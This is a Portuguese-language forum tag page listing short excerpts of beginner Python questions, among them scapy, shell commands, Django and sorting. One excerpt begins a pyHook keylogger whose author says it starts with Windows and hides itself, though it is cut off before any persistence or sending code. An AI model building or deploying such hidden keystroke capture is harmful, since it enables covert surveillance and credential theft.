Search the Community
Showing results for tags 'python'.
-
Boa Tarde O script esta a ser executado depois do login o problema é que depois de iniciar o hexchat ele nao abre as paginas web. Mas se eu iniciar o script depois na linha de comando "python iniciar.py" o script funciona corretamente. #!/usr/bin/python # -*- coding: latin-1 -*- import time import os import webbrowser time.sleep(10) os.system("sh -c hexchat --existing %U") time.sleep(25) webbrowser.open('https://www.reddit.com/') time.sleep(25) webbrowser.open('https://pplware.sapo.pt/') Como é que faço para o script iniciar corretamente logo depois do login?
-
Boa tarde a todos. Estou aprendendo a programar em Python. Gostaria de abrir um arquivo pcap e criar um relatório de acesso por IP, porta, pacote, tamanho e protocolo. Tentei utilizar esse código abaixo que funciona em um arquivo txt, porém no arquivo pcap não funciona. Alguém poderia me ajudar? from scapy.all import * logs = rdpcap('/root/temp/cap.pcap') hosts = {} for linha in logs: colunas = linha.strip().split(',') src_ip = colunas[3] dst_ip = colunas[4] protocolo = colunas[5] tamanho = colunas[6] print linha.strip() print 'Src Ip: %s' % src_ip print 'Dst I
-
Boas, Alguem me sabe explicar ou dar um exemplo como executo um ficheiro com argumentos que devolva um output prompt numa pasta diferente onde executo o ficheiro pyton: Ex: Pasta: c:\Programas\Soft\ Ficheiro: App.exe -status (status como argumento) Obrigado
-
Era apenas para eu testar a lib pyHook, mas na impolgação, ele inicia com o Windows e roda oculto da lista de aplicativos (Huuuuuuuuuuuuaaaaaaaaaaa.. ) # coding: iso-8859-1 -*- import pyHook # Importando o pyHook import os, sys import _winreg as winreg def dbCreateLog(key, wName): # Tratando as Teclas if key == "Space": key = "[ Espaço ]" if key == "Tab": key = "[TAB]" if key == "Capital": key = "[Caps Lock]" if key == "Lshift": key = "[sHIFT Esq]" if key == "Lcontrol": key = "[Control Esq]" if key == "Lmenu": key = "[Alt Esq]" if key == "Rmenu": key = "[Alt Dir]" if key == "Rcont
-
Boa tarde , Como é que eu colocaria um temporizador em um comando shell, por exemplo : import os os.system("ping google.com >> num.txt") # executava este comando durante 30 segundos e depois saia por exemplo, como é que eu faria isso? Cumps
-
Boas ! Ando a dar cabeçadas numa cena supostamente simples que nem com o google chego lá. Ideia, correr um comando de sistema o ping por exemplo e guardar todo o output num txt. Eu pensei fazer o seguinte: import os pingreq = os.system("ping sapo.pt") file = open("output.txt", "w") for line in pingreq: file.write(line) file.close()
-
Boas! Estou a começar a programar e tou um bocado encalhado na questão das classes/objectos. Como é uma questão de por ideias em prática e explorar, eu comecei agora com classes e então decidi criar uma classe que calcula o volume de um aquariao rectangular. Algo está errado no metodo que está a calcular o volume e não estou a chegar lá. Alguém pode dar uma dica? class Sample: altura = None comprimento = None largura = None def __init__(self, altura, comprimento, largura): self.altura = altura self.comprimento = comprimento self
-
Boa tarde , sou novo aqui e deparo-me com uma dúvida que tenho num projeto. Tenho uma lista de datas: dateList=['08:11:2016', '05:11:2017', '07:11:2016'] e gostaria de as ordenar pela ordem crescente. Já tentei usar o sorted , mas como vai começar por comparar os primeiros números vai-me atribui a seguinte lista: print sorted(dateList) ['05:11:2017', '07:11:2016', '08:11:2016'] Urgente! Cumprimentos
-
Boas, Será que me conseguem dar umas dicas, imaginem que eu tenho um file com a seguinte estrutura: A,1 A,0 A,3 B,4 B,2 C,1 C,0 e queria retirar o valor da columa 1 mas com o valor mais alto na coluna 2: A,3 B,4 C,1 já estive com o numpy import numpy as np lista=np.loadtxt(r'ficheiro',dtype=str,delimiter=',',usecols=(0,1)) Obrigado
-
Boa tarde. Como se cria uma grelha triangular no phyton, em que os vértices de cada triangulo tem um par de coodernadas (x,y)? Obrigado
-
Boas Pessoal, Estava a tentar fazer uma conversão de um ficheiro CSV para binário, basicamente estou a tentar customizar uma BD de IP's com o mmutils. Seguindo estes passos: https://github.com/threatstream/mhn/wiki/Customizing-Maxmind-IP-Geo-DB-for-Internal-Networks Estou a utilizar o seguinte comando: python csv2dat.py -w mmcity.dat mmcity GeoLiteCity-and-mynetworks.csv E obtenho o seguinte erro, que não estou a conseguir descortinar: Traceback (most recent call last): File "csv2dat.py", line 475, in <module> rval = main() File "csv2dat.py", line 471,
-
[Resolvido] TypeError: can't multiply sequence by non-int of type 'str'
miguelt1 posted a topic in Python
Boas! O meu problema é o seguinte: eu quando vou executar o codigo de um exercicio dá-me um erro que não estou a perceber o porquê dele acontecer . Por favor, me ajudem! TypeError: can't multiply sequence by non-int of type 'str' produtos = input('Lista com produtos:') quantidade = input('Lista com quantidade:') preco = input('Preco dos produtos:') def sub_total(produtos,quantidade, preco): z = 0 for x in range(len(produtos)): print (produtos[x], quantidade[x]*preco[x],'eur') z+=quantidade[x]*preco[x] print ('Total:',z,'eur') sub_to -
Boa Noite a todos. Ora bem, eu sou aluno finalista e a entrar para o mercado e como pessoa interessada em web develop gostaria de tentar saber se num mercado interno e/externo, como andam as ofertas de emprego para Django / Asp.net ? Alguma vantagem ou desvantagem em usar Python ou c# para a web ?
-
Boas, Comecei agora com python para iniciar na programação, então estava a experimentar um exemplo de app para gerar chaves de euromilhoes, no entanto não percebo no código porque um dos loops não funciona. Segue o código: import random def gerarChave(numchaves): numeros = 5 estrelas = 2 while numchaves > 0: while numeros > 0: print ("Numeros da Sorte: %s" % random.randint(1,50)) numeros -= 1 while estrelas > 0: print ("Estrelas da sorte: %s" %random.randint(1, 9)) estrelas -= 1 numchaves -= 1 numchaves = input('Introduzir o numero de ch
-
Boas... Hoje decidi experimentar uma coisa em python mas ainda não consegui obter quaisquer resultados. Queria fazer um script em python para me executar um programa no terminal várias vezes, enviando-lhe parâmetros diferentes. Então o que fiz, foi ainda pouco. A validação de dados fica para depois tal como outros aspectos: import os, sys feat_codes = {0x1C001, 0x1C002, 0x1C004, 0x1C008, 0x1C020, 0x1C040, 0x1C080,0x1C0FF} for var in feat_codes: print 'Generating {} license key!'.format(var) os.popen('./rigup', 'license', sys.argv(1), va
-
Bom dia. Estou com um problema em digitar caracteres que precisam de que se prima a tecla AltGr (como as chavetas ou os parênteses rectos) na linha de comandos do IPython. Na verdade, não consigo digitar esses caracteres. Alguém me pode ajudar?
-
Um simples exemplo para se compactar um file com a lib zipfile (que é nativa do Python): # pyZIP import threading import zipfile import sys import time # Com uso de Thread class WZip(threading.Thread): def __init__(self, infile, outfile): threading.Thread.__init__(self) self.infile = infile self.outfile = outfile def run(self): try: self.main = [self.outfile, 'w', zipfile.ZIP_DEFLATED] z = zipfile.ZipFile(self.main[0],self.main[1],self.main[2]) z.write(self.infile) z.close() except: print "Erro: Houve um erro !!!" print "Verifique os arquivos\n" sys.exit() # class
-
Boas, Estava a fazer uma função para pingar um host então o que acontece: def pingx(myip): checkState = os.system("ping -n 1 %s" % myip) if checkState == 0: return 1 else: return 0 O que me está a contecer é que se a máquina estiver up, ele devolve 0 e se estiver down devolve o 1 quando precisamente era o contrario. A pergunta é, como e que sei o que ele guarda na variável após efectuar o comando do ping -n 1..... na consola windows se tiver on ele devolve um reply se tiver off e um timeout. Como e que ele traduz o ping.
-
Boa tarde, Estou aqui com um problema no meu script. Queria executar uma parte do codigo uma certa parte de segundos, o que já está a funcionar. Eu queria introduzir esses segundos através do segundo argumento, ou seja python teste.py 1arg 50 Estou a utilizar o seguinte codigo para adicionar o tempo: t_end = time.time() + 20 Mas como faço para transformar isso para ele obter pelo argumento? Exemplo:t_end = time.time() + sys.argv[2], ele dá erro Obrigado
-
Boas, Acabei por chegar a algo tão simples como isto, para tentar resolver o problema. Em django, tenho layout.html <!DOCTYPE html> <html> <head> <title></title> </head> <body> {% block body %}{% endblock %} </body> </html> home.html {% extends "layout.html" %} {% block body %} <h1> {{ user.username }} </h1> <button type="button" onclick="window.location.href='/logout/' ">Logout</button> {% endblock %} Ao executar aparece sempre o  no body Já fiz várias pesquisas no
-
Suponhamos que tenho uma matriz (ou lista de lista) de números inteiros. O 1º usuário vai escolher 02 posições da matriz, se os números dessas posições forem igual, eu removo esses números ou coloco -1 e passo a vez para outro usuário que repete a mesma coisa até verificar todos os elementos repetidos, como fazer isso? import random matriz = [[1,2,3,4],[1,2,3,4],[5,6,7,8],[5,6,7,8]] random.shuffle(matriz) for x in range(len(matriz)): for y in range(len(matriz): # SEM IDEIA DE COMO IMPLEMENTAR ISSO # ALGUEM PODE AJUDAR?
-
SAUDAÇÕES! preciso criar uma matriz N x N e guardar números aleatórios duplicados. exemplo : [ 2,2,1,1 4,4,6,6 3,3,5,5 ] alguém sabe como fazer isso?
-
Boas, estou a seguir um livro de python e no entanto vou fazendo ou repetindo o código de exemplos no livro. Estou num exemplo de cálculo do seno e a função que o escritor apresenta é a seguinte: def sin(x): n = 0 termo = calc_termo(x,n) seno= termo while not suf_pequeno(termo): n = n + 1 termo = calc_termo(x,n) seno = seno + termo return seno sin(8) Então ao correr indica que não existe um calc_termo declarado e com razão agora alguém me sabe explicar se está incorrecto o conteúdo da função ?
-
Boas, Durante o meu estudo de python tive 3 duvidas que foram as seguintes : 1-Qual é a importancia do binario e das operaçoes de binario a programar em python ? 2-Onde é que isso vai melhorar o meu programa(em que casos)? 3-É frequente utilizar? Obrigado desde já